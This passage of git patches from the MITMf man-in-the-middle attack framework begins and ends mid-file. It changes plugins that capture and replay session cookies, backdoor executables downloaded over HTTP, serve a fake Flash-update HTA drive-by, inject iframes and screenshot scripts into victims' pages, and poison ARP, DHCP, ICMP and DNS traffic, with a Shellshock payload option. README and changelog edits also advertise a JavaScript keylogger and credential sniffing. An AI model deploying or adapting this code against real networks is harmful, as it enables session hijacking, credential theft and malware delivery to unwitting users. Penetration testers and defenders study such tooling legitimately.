exploit + else: + url = self._setupExploit(exploit, msfport) + + iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url) + self.injectAndPoll(vic_ip, iframe_url) + + sleep(1) diff --git a/plugins/ferretng.py b/plugins/ferretng.py index 8be8492..75df7be 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -26,75 +26,75 @@ from twisted.web import http from twisted.internet import reactor class FerretNG(Plugin): - name = "Ferret-NG" - optname = "ferretng" - desc = "Captures cookies and starts a proxy that will feed them to connected clients" - version = "0.1" - has_opts = True + name = "Ferret-NG" + optname = "ferretng" + desc = "Captures cookies and starts a proxy that will feed them to connected clients" + version = "0.1" + has_opts = True - def initialize(self, options): - self.options = options - self.ferret_port = options.ferret_port - self.cookie_file = None + def initialize(self, options): + self.options = options + self.ferret_port = options.ferret_port + self.cookie_file = None - from core.ferretng.FerretProxy import FerretProxy - from core.ferretng.URLMonitor import URLMonitor + from core.ferretng.FerretProxy import FerretProxy + from core.ferretng.URLMonitor import URLMonitor - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - from core.utils import shutdown - if options.cookie_file: - self.tree_info.append('Loading cookies from log file') - try: - with open(options.cookie_file, 'r') as cookie_file: - self.cookie_file = json.dumps(cookie_file.read()) - URLMonitor.getInstance().cookies = self.cookie_file - cookie_file.close() - except Exception as e: - shutdown("[-] Error loading cookie log file: {}".format(e)) + from core.utils import shutdown + if options.cookie_file: + self.tree_info.append('Loading cookies from log file') + try: + with open(options.cookie_file, 'r') as cookie_file: + self.cookie_file = json.dumps(cookie_file.read()) + URLMonitor.getInstance().cookies = self.cookie_file + cookie_file.close() + except Exception as e: + shutdown("[-] Error loading cookie log file: {}".format(e)) - self.tree_info.append("Listening on port {}".format(self.ferret_port)) + self.tree_info.append("Listening on port {}".format(self.ferret_port)) - def on_config_change(self): - self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + def on_config_change(self): + self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - def request(self, request): - if 'cookie' in request.headers: - host = request.headers['host'] - cookie = request.headers['cookie'] - client = request.client.getClientIP() + def request(self, request): + if 'cookie' in request.headers: + host = request.headers['host'] + cookie = request.headers['cookie'] + client = request.client.getClientIP() - if client not in URLMonitor.getInstance().cookies: - URLMonitor.getInstance().cookies[client] = [] + if client not in URLMonitor.getInstance().cookies: + URLMonitor.getInstance().cookies[client] = [] - for entry in URLMonitor.getInstance().cookies[client]: - if host == entry['host']: - self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) - entry['host'] = host - entry['cookie'] = cookie - return + for entry in URLMonitor.getInstance().cookies[client]: + if host == entry['host']: + self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) + entry['host'] = host + entry['cookie'] = cookie + return - self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) - URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) + self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) + URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) - def reactor(self, StrippingProxy): - FerretFactory = http.HTTPFactory(timeout=10) - FerretFactory.protocol = FerretProxy - reactor.listenTCP(self.ferret_port, FerretFactory) + def reactor(self, StrippingProxy): + FerretFactory = http.HTTPFactory(timeout=10) + FerretFactory.protocol = FerretProxy + reactor.listenTCP(self.ferret_port, FerretFactory) - def options(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') + def options(self, options): + options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') - def on_shutdown(self): - if not URLMonitor.getInstance().cookies: - return + def on_shutdown(self): + if not URLMonitor.getInstance().cookies: + return - if self.cookie_file == URLMonitor.getInstance().cookies: - return - - self.log.info("Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: - cookie_file.write(str(URLMonitor.getInstance().cookies)) - cookie_file.close() + if self.cookie_file == URLMonitor.getInstance().cookies: + return + + self.log.info("Writing cookies to log file") + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: + cookie_file.write(str(URLMonitor.getInstance().cookies)) + cookie_file.close() diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 49c71d0..52f46b2 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -111,21 +111,17 @@ class FilePwn(Plugin): #NOT USED NOW self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - + #FilePwn options - self.userConfig = self.config['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.userConfig = self.config['FilePwn'] + self.hostblacklist = self.userConfig['hosts']['blacklist'] + self.hostwhitelist = self.userConfig['hosts']['whitelist'] + self.keysblacklist = self.userConfig['keywords']['blacklist'] + self.keyswhitelist = self.userConfig['keywords']['whitelist'] + self.zipblacklist = self.userConfig['ZIP']['blacklist'] + self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.parse_target_config(self.userConfig['targets']['ALL']) + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) @@ -570,12 +566,40 @@ class FilePwn(Plugin): else: self.patched.put(tempZipFile) return + + def parse_target_config(self, targetConfig): + for key, value in targetConfig.iteritems(): + if hasattr(self, key) is False: + setattr(self, key, value) + self.log.debug("Settings Config {}: {}".format(key, value)) + + elif getattr(self, key, value) != value: + + if value == "None": + continue + + #test if string can be easily converted to dict + if ':' in str(value): + for tmpkey, tmpvalue in dict(value).iteritems(): + getattr(self, key, value)[tmpkey] = tmpvalue + self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue)) + + else: + setattr(self, key, value) + self.log.debug("Updating Config {}: {}".format(key, value)) def response(self, response, request, data): content_header = response.headers['Content-Type'] client_ip = response.getClientIP() + for target in self.userConfig['targets'].keys(): + if target == 'ALL': + self.parse_target_config(self.userConfig['targets']['ALL']) + + if target in request.headers['host']: + self.parse_target_config(self.userConfig['targets'][target]) + if content_header in self.zipMimeTypes: if self.bytes_have_format(data, 'zip'): diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 451093e..13385ca 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -21,36 +21,36 @@ import flask from plugins.plugin import Plugin from plugins.inject import Inject -from core.servers.http.HTTPserver import HTTPserver class HTADriveBy(Inject, Plugin): - name = 'HTA Drive-By' - desc = 'Performs HTA drive-by attacks on clients' - optname = 'hta' - ver = '0.1' + name = 'HTA Drive-By' + desc = 'Performs HTA drive-by attacks on clients' + optname = 'hta' + ver = '0.1' - def initialize(self, options): - self.bar_text = options.text - self.ip = options.ip - Inject.initialize(self, options) - self.html_payload = self.get_payload() + def initialize(self, options): + self.bar_text = options.text + self.ip = options.ip + Inject.initialize(self, options) + self.html_payload = self.get_payload() - server = HTTPserver().server + from core.servers.http.HTTPserver import HTTPserver + def hta_request(path): + if path == options.hta_app.split('/')[-1]: + with open(options.hta_app) as hta_file: + resp = flask.Response(hta_file.read()) - @server.route('/') - def client_request(hta_req): - if hta_req == "Flash.hta": - with open('./config/hta_driveby/Flash.hta') as hta_file: - resp = flask.Response(hta_file.read()) + resp.headers['Content-Type'] = "application/hta" + return resp - resp.headers['Content-Type'] = "application/hta" - return resp + HTTPserver().add_endpoint(hta_request) - def get_payload(self): - with open("./core/html/htadriveby.html", 'r') as file: - payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) - payload = re.sub("_IP_GOES_HERE_", self.ip, payload) - return payload + def get_payload(self): + with open("./core/html/htadriveby.html", 'r') as file: + payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) + payload = re.sub("_IP_GOES_HERE_", self.ip, payload) + return payload - def options(self, options): - options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") + def options(self, options): + options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") + options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]') diff --git a/plugins/inject.py b/plugins/inject.py index 0ad7b07..327672c 100644 --- a/plugins/inject.py +++ b/plugins/inject.py @@ -65,7 +65,7 @@ class Inject(Plugin): if self.html_url: iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0) html.body.append(iframe) - self.clientlog.info("Injected HTML Iframe: {}".format(hn)) + self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo) if self.html_payload: payload = BeautifulSoup(self.html_payload, "html.parser") diff --git a/plugins/replace.py b/plugins/replace.py index c12fdbe..5133d93 100644 --- a/plugins/replace.py +++ b/plugins/replace.py @@ -26,28 +26,28 @@ import re from plugins.plugin import Plugin class Replace(Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - version = "0.2" + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + version = "0.2" - def initialize(self, options): - self.options = options + def initialize(self, options): + self.options = options - def response(self, response, request, data): - mime = response.headers['Content-Type'] - hn = response.getRequestHostname() + def response(self, response, request, data): + mime = response.headers['Content-Type'] + hn = response.getRequestHostname() - if "text/html" in mime: + if "text/html" in mime: - for rulename, regexs in self.config['Replace'].iteritems(): - for regex1,regex2 in regexs.iteritems(): - if re.search(regex1, data): - try: - data = re.sub(regex1, regex2, data) + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, data): + try: + data = re.sub(regex1, regex2, data) - self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) - except Exception: - self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) + self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) + except Exception: + self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) - return {'response': response, 'request': request, 'data': data} + return {'response': response, 'request': request, 'data': data} diff --git a/plugins/responder.py b/plugins/responder.py index aa2a6f9..7b21f48 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -17,6 +17,7 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # +import flask from plugins.plugin import Plugin from twisted.internet import reactor @@ -53,13 +54,8 @@ class Responder(Plugin): if options.wpad: from core.servers.http.HTTPserver import HTTPserver - import flask - - server = HTTPserver().server - - @server.route('/') - def wpad(wpad_req): - if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')): + def wpad_request(path): + if (path == 'wpad.dat') or (path.endswith('.pac')): payload = self.config['Responder']['WPADScript'] resp = flask.Response(payload) @@ -70,6 +66,8 @@ class Responder(Plugin): return resp + HTTPserver().add_endpoint(wpad_request) + if self.config["Responder"]["MSSQL"].lower() == "on": from core.responder.mssql.MSSQLserver import MSSQLserver MSSQLserver().start(smbChal) diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py index b7f9ccc..9a7f783 100644 --- a/plugins/screenshotter.py +++ b/plugins/screenshotter.py @@ -27,33 +27,33 @@ from plugins.plugin import Plugin from plugins.inject import Inject class ScreenShotter(Inject, Plugin): - name = 'ScreenShotter' - optname = 'screen' - desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' - ver = '0.1' + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' - def initialize(self, options): - Inject.initialize(self, options) - self.js_payload = self.get_payload() - self.interval = options.interval + def initialize(self, options): + Inject.initialize(self, options) + self.js_payload = self.get_payload() + self.interval = options.interval - def request(self, request): - if 'saveshot' in request.uri: - request.handle_post_output = True + def request(self, request): + if 'saveshot' in request.uri: + request.handle_post_output = True - client = request.client.getClientIP() - img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - try: - with open('./logs/' + img_file, 'wb') as img: - img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) - img.close() + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() - self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) - except Exception as e: - self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) + self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) + except Exception as e: + self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) - def get_payload(self): - return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + def get_payload(self): + return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) - def options(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") + def options(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") diff --git a/plugins/spoof.py b/plugins/spoof.py new file mode 100644 index 0000000..7f91e73 --- /dev/null +++ b/plugins/spoof.py @@ -0,0 +1,115 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin + +class Spoof(Plugin): + name = "Spoof" + optname = "spoof" + desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" + version = "0.6" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.manualiptables = options.manualiptables + self.protocol_instances = [] + + from core.utils import iptables, shutdown, set_ip_forwarding + #Makes scapy more verbose + debug = False + + if options.arp: + if not options.gateway: + shutdown("[Spoof] --arp argument requires --gateway") + + from core.poisoners.arp.ARPpoisoner import ARPpoisoner + arp = ARPpoisoner(options) + arp.debug = debug + self.tree_info.append('ARP spoofing enabled') + self.protocol_instances.append(arp) + + elif options.dhcp: + from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner + + if options.targets: + shutdown("[Spoof] --targets argument invalid when DCHP spoofing") + + dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP']) + dhcp.debug = debug + self.tree_info.append('DHCP spoofing enabled') + self.protocol_instances.append(dhcp) + + elif options.icmp: + from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner + + if not options.gateway: + shutdown("[Spoof] --icmp argument requires --gateway") + + if not options.targets: + shutdown("[Spoof] --icmp argument requires --targets") + + icmp = ICMPpoisoner(options) + icmp.debug = debug + self.tree_info.append('ICMP spoofing enabled') + self.protocol_instances.append(icmp) + + if options.dns: + from core.servers.dns.DNSchef import DNSChef + + self.tree_info.append('DNS spoofing enabled') + if not options.manualiptables: + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + if not options.arp and not options.icmp and not options.dhcp and not options.dns: + shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + + set_ip_forwarding(1) + + if not options.manualiptables: + if iptables().http is False: + iptables().HTTP(options.listen_port) + + for protocol in self.protocol_instances: + protocol.start() + + def options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') + options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') + options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison') + options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') + + def on_shutdown(self): + from core.utils import iptables, set_ip_forwarding + + for protocol in self.protocol_instances: + if hasattr(protocol, 'stop'): + protocol.stop() + + if not self.manualiptables: + iptables().Flush() + + set_ip_forwarding(0) diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py new file mode 100644 index 0000000..5a33d9c --- /dev/null +++ b/plugins/sslstrip+.py @@ -0,0 +1,49 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import sys +from plugins.plugin import Plugin + +class SSLstripPlus(Plugin): + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_info = ["SSLstrip+ by Leonardo Nve running"] + has_opts = False + + def initialize(self, options): + self.options = options + self.manualiptables = options.manualiptables + + from core.sslstrip.URLMonitor import URLMonitor + from core.servers.dns.DNSchef import DNSChef + from core.utils import iptables + + if not options.manualiptables: + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + URLMonitor.getInstance().setHstsBypass() + DNSChef().setHstsBypass() + + def on_shutdown(self): + from core.utils import iptables + if not self.manualiptables: + if iptables().dns is True: + iptables().Flush() diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index d493548..0000000 --- a/requirements.txt +++ /dev/null @@ -1,17 +0,0 @@ -Twisted -requests -netaddr -scapy -dnspython -cryptography -pycrypto -msgpack-python -configobj -mitmflib -Pillow -pefile -ipy -pyopenssl -service_identity -capstone -pypcap diff --git a/tools/cve-details-parser.py b/tools/cve-details-parser.py new file mode 100755 index 0000000..db454b3 --- /dev/null +++ b/tools/cve-details-parser.py @@ -0,0 +1,32 @@ +#! /usr/bin/env python2 + +import requests +import lxml.html +import sys + +r = requests.get(sys.argv[1]) +tree = lxml.html.fromstring(r.text) + +try: + + vulntable = tree.xpath('//table[@id="vulnprodstable"]/*') + list_len = len(vulntable) + + tuple_list = [] + + for i in vulntable[2:list_len]: + java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip()) + tuple_list.append(java_v) + +except IndexError: + pass + +string_list = [] +for v in sorted(set(tuple_list)): + version, update = v + if update: + string_list.append("{}.{}".format(version, update)) + else: + string_list.append(version) + +print ', '.join(string_list) \ No newline at end of file diff --git a/update.sh b/update.sh deleted file mode 100755 index 4781f30..0000000 --- a/update.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/env bash -if [[ $EUID -ne 0 ]]; then - echo "You must root" 2>&1 - exit 1 -fi - -echo 'Updating MITMf' -git pull -echo 'Updating the-backdoor-factory' -cd libs/bdfactory/ -git pull origin master From 41d9e42ca994fcbeb70d3e0326a97f48b96c201e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 25 Jul 2015 03:29:33 +0200 Subject: [PATCH 071/181] added CHANGELOG.md, CONTRIBUTORS.md and modded README.md --- CHANGELOG.md | 35 +++++++++++++++++++ CONTRIBUTORS.md | 17 ++++++++++ README.md | 83 +++++++++++++--------------------------------- plugins/replace.py | 2 +- 4 files changed, 76 insertions(+), 61 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 CONTRIBUTORS.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..23a4e91 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,35 @@ +#Changes before v0.9.8 + +- Added the SMBTrap plugin + +- Config file now updates on the fly! + +- SessionHijacker is replaced with Ferret-NG captures cookies and starts a proxy that will feed them to connected clients + +- JavaPwn plugin replaced with BrowserSniper now supports Java, Flash and browser exploits + +- Addition of the Screenshotter plugin, able to render screenshots of a client's browser at regular intervals + +- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library + +- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' + +- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos + +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server + +- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 + +- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing + +- Spoof plugin now supports ICMP, ARP and DHCP spoofing + +- Usage of third party tools has been completely removed (e.g. Ettercap) + +- FilePwn plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) + +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server + +- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI + +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) \ No newline at end of file diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..9e2e76e --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,17 @@ +#Intentional contributors (In no particular order) + +- @rthijssen +- @ivangr0zni (Twitter) +- @xtr4nge +- @DrDinosaur +- @secretsquirrel +- @binkybear +- @0x27 +- @mmetince +- @niallmerrigan + +#Unintentional contributors and/or projects that I stole code from + +- Metasploit Framework's os.js and Javascript Keylogger module +- The Backdoor Factory and BDFProxy +- ARPWatch module from the Subterfuge Framework \ No newline at end of file diff --git a/README.md b/README.md index ea81b85..6cbf676 100644 --- a/README.md +++ b/README.md @@ -6,71 +6,33 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -Twitter: @byt3bl33d3r -IRC on Freenode: #MITMf -Email: byt3bl33d3r@gmail.com +Contact me at: +- Twitter: @byt3bl33d3r +- IRC on Freenode: #MITMf +- Email: byt3bl33d3r@gmail.com -**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBUTING.md](CONTRIBUTING.md).** Available plugins ================= -- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` - Perform app cache poisoning attacks -- ```Ferret-NG``` - Transperently hijacks sessions -- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients -- ```CacheKill``` - Kills page caching by modifying headers -- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages -- ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts +- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application +- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients +- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner +- ```SSLstrip+``` - Partially bypass HSTS +- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` - Perform app cache poisoning attacks +- ```Ferret-NG``` - Transperently hijacks sessions +- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients +- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- ```Inject``` - Inject arbitrary content into HTML content +- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins +- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages +- ```Replace``` - Replace arbitary content in HTML content +- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts - ```Upsidedownternet``` - Flips images 180 degrees -Changelog -========= - -- Added the ```SMBTrap``` plugin - -- Config file now updates on the fly! - -- ```SessionHijacker``` is replaced with ```Ferret-NG```, captures cookies and starts a proxy that will feed them to connected clients - -- ```JavaPwn``` plugin replced with ```BrowserSniper```, now supports Java, Flash and browser exploits - -- Addition of the ```Screenshotter``` plugin, able to render screenshots of a client's browser at regular intervals - -- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library - -- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' - -- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: - FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos - -- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server - -- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 - -- ```Spoof``` plugin can now exploit the 'ShellShock' bug when DHCP spoofing - -- ```Spoof``` plugin now supports ICMP, ARP and DHCP spoofing - -- Usage of third party tools has been completely removed (e.g. Ettercap) - -- ```FilePwn```plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) - -- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server - -- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI - -- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: 